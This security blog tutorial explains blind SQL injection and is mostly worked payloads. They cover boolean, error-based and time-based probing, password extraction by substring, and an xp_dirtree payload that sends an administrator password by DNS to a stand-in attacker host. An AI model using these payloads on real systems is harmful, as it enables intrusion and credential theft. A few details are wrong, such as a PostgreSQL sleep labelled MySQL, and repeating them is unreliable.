Unveiling the Secrets of Blind SQL Injection: Exploiting the Unseen Vulnerabilities

Unveiling the Secrets of Blind SQL Injection: Exploiting the Unseen Vulnerabilities

SQL injection is one of the most famous web exploits out there. It is usually the first thing that comes to mind when we hear about hacking websites. But for most people, ' OR 1=1 is as far as it goes when it comes to exploiting this vulnerability. In this blog post, we are going to take a look at a form of SQL injection that usually goes undiscovered. This is because it is easy to miss and requires a little more effort than just putting a single quote in a form field and calling it a day. I'm talking about Blind SQL Injection.

What is Blind SQL Injection

SQL injection vulnerabilities occur when applications do not properly handle user input and directly append them to SQL queries. This is obviously a problem because users or attackers can enter malicious text that can alter database requests and return sensitive data.

Blind SQL injection occurs when the data returned by the database query is not displayed by the application. This makes it difficult to determine if the application is vulnerable to SQL injection or not. Moreover, SQL injection techniques like union attacks are rendered ineffective because they rely on seeing the output of the SQL request.

How to Identify Blind SQL Injection

There are two main ways to identify blind SQL injection:

  • Boolean-based attacks

  • Time/delay-based attacks

Boolean-based attacks

This is when we use changes in an application's behavior or page content to determine whether our SQL injected payload runs or not.

Consider an application that uses authentication cookies to track its users. Every request made to the server will contain this cookie:

Cookie: AuthToken=Y9oJgOuMQy6O93T49

When a request containing an AuthToken cookie is processed, the application uses a SQL query to determine whether this is a known user:

SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49'

This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, we can use this to change the content that is returned. If the authentication token is valid, the landing page of the application shows "My Account" in the navigation bar. If it is invalid, it shows "Login".

We can use this behavior to determine whether the application is vulnerable to SQL injection or not. To demonstrate how this works, let's send two requests and append the following to our AuthToken:

' AND '1'='1
' AND '1'='2

The resulting queries are:

SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49' AND '1'='1'
SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49' AND '1'='2'

If the AuthToken parameter is vulnerable, the first value should cause the user to be logged in and "My Account" returned in the navigation bar. This is because '1'='1' will return true, which shouldn't cause any changes in the request. In the second request, however, '1'='2' will evaluate to false, which will cause the page to return "Login".

This technique works with any other value or parameter as long as you can cause a change in application behavior or the content on the returned page.

Sometimes applications do not show changes in whether the value returned is true or false. An example is tracking cookies. In such cases, we can try to forcefully cause a change in the response by causing an error. This is sometimes referred to as conditional errors.

' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

The resulting queries are:

SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a'
SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'

With the first value, the condition will evaluate to 'a' and nothing should happen. With the second value, the condition will evaluate to 1/0, which will obviously cause an error. This may cause differences in the HTTP response of the server. You might see something like "500 Internal Server Error".

Time-based attacks

This is when we inject SQL queries that cause a delay of some kind. With this, we can determine the truth of the injected condition based on the time taken to receive a response.

This technique comes in handy when applications do not show any difference in their responses or gracefully handle errors.

It is also important to note that SQL syntax varies slightly based on the type of SQL database being used. I would advise you to take a look at an SQL injection cheat sheet. Here is a good one.

Here is an example of how the attack would work on an application using MySQL:

'; IF (1=2) pg_sleep(10)--
'; IF (1=1) pg_sleep(10)--

And just like before, if the application follows the predicted responses, then we know it is vulnerable to SQL injection.

How to Enumerate and Exfiltrate Data

As we have discussed already, in blind SQL injection, we can't see the output of the database request. This begs the question, how do we look around and retrieve sensitive data? Well, there are many ways to do this. Again, a cheat sheet is very useful in these situations, and I strongly advise you to take a look at one.

But we will take a look at some examples.

Discovering tables and columns

When it comes to enumerating a database in blind SQL injection, we are kind of throwing darts in the dark and hoping one of them will stick. Going back to boolean-based attacks, we can:

' AND (SELECT 'a' FROM users LIMIT 1)='a

The resulting query is:

SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49' AND (SELECT 'a' FROM users LIMIT 1)='a'

When we select a string from any table or column, it will return the string back to us if the table or column exists. If it exists, it will evaluate to 'a'='a', which is true. The LIMIT 1 is to ensure that only one user is returned, or else the condition will break.

' AND (SELECT 'a' FROM users LIMIT 1)='a
SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49' AND (SELECT 'a' FROM users WHERE username='administrator')='a'

Here we are checking if there is a user with the username 'administrator'.

The following is an example query for when we force the application to have errors:

'||(SELECT '' FROM not-a-real-table)||'

The resulting query is:

SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49'||(SELECT '' FROM not-a-real-table)||''

This will cause an error. Now try:

'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

The resulting query is:

SELECT AuthToken FROM UserTokens WHERE AuthToken = 'Y9oJgOuMQy6O93T49'||(SELECT '' FROM users WHERE LIMIT 1)||''

If there is no error, then we know the table exists.

A similar thing happens when using time-based attacks:

'; SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

This query checks if there is a user with the username 'administrator'.

Exfiltrating Data With Substring

The SUBSTRING function (SUBSTR in some types of SQL) is a function that returns part of a string. We can use this with some conditioning to retrieve data. Let's take a look at an example.

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

The example query allows us to determine whether the length of the password is greater than 1. We can send the payload again with the number modified, and eventually, we will get the length of the password.

Now we can use the substring function to get the actual password one letter at a time:

' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

In the query above, the password of the user 'Administrator' is passed as the first argument to the substring function. The second argument is 1. This means that we are selecting the first character in the string or, in our case, the password. The third argument is also 1, and this means that we are selecting only one character. Had we passed in 2, the function would select two characters, the first and the second.

After we have selected the first character, we check to see if it is greater than 'm' (the character that comes after the letter 'm' in alphabetical order). By repeating this a couple of times, we can get the first character of the password. We can then do this for each character and eventually get the whole password.

As you have already figured out, this is very time-consuming, and it gets a lot more complicated when you throw numbers and special characters into the mix. This is where automation comes into play. You can do this with tools like Burp Suite or ZAP.

' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = '§a§

In Burp Suite, you can use Intruder to easily fuzz the character parameter. For your payload, you can have alphanumeric and special characters.

Here is a similar thing but with conditional errors:

'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

And here is the same thing with time-based attacks:

'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--

Extracting Data via Verbose SQL Error Messages

Miss configuration may sometimes cause verbose error messages. As an attacker, we can use this information to exploit or extract sensitive data. Take a look at this error message returned by the server when we send a request with a single quote appended to the AuthToken cookie.

Unterminated string literal started at position 52 in SQL SELECT * FROM UserTokens WHERE AuthToken = '''. Expected char

This shows us the full query that was constructed when we made the request. It makes it easier to construct payloads and remove the need for any guessing games.

In some cases, you can get the error message to contain data that was returned from the database query. A popular method is to use the cast() function to convert the data to an incompatible data type which will throw an error.

CAST((SELECT example_column FROM example_table) AS int)

If the type of the data you are retrieving is a string, trying to convert it to and int might cause an error such as this

ERROR: invalid input syntax for type integer: "Example data"

Exfiltrating Data Using Out Of Band Techniques (OAST)

In some cases, applications will handle SQL queries asynchronously. This means that we will not be able to rely on a time delay in the server's response, and if the application doesn't show any change in page content, it makes it tricky to exploit or even detect the SQL injection vulnerability.

This is where out-of-band techniques come into play. It involves us making requests to external systems that we control in order to retrieve data. DNS requests are usually preferred for this since they are allowed by default in most corporate firewalls and don't look too suspicious.

On a Microsoft SQL server, for example, we can make a DNS lookup like this:

'; exec master..xp_dirtree '//codename.serveryoucontrol.net/receivejuicydata'--

to confirm that we have this capability.

Having confirmed a way to trigger out-of-band interactions, you can then use the out-of-band channel to exfiltrate data from the vulnerable application. For example:

; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.codename.serveryoucontrol.net/receivejuicydata"')--

This input reads the password for the 'Administrator' user, appends a unique Collaborator subdomain, and triggers a DNS lookup. This lookup allows you to view the captured password:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Out-of-band (OAST) techniques are a powerful way to detect and exploit blind SQL injection, due to the high chance of success and the ability to directly exfiltrate data within the out-of-band channel. For this reason, OAST techniques are often preferable even in situations where other techniques for blind exploitation do work.

Conclusion

Blind SQL injection is a serious vulnerability that can be exploited to gain unauthorized access to a web application's database. Developers and security professionals should understand the principles and techniques of blind SQL injection to prevent and mitigate such attacks. Secure coding practices, regular updates, and patches are crucial for protection against blind SQL injection.

Call To Action

I would love to hear about different techniques you use to exploit blind SQL injection or anything that I listed that's been helpful to you. For more content like this, subscribe to my newsletter or follow me on Hashnode.

Say s3cur3 lads 😎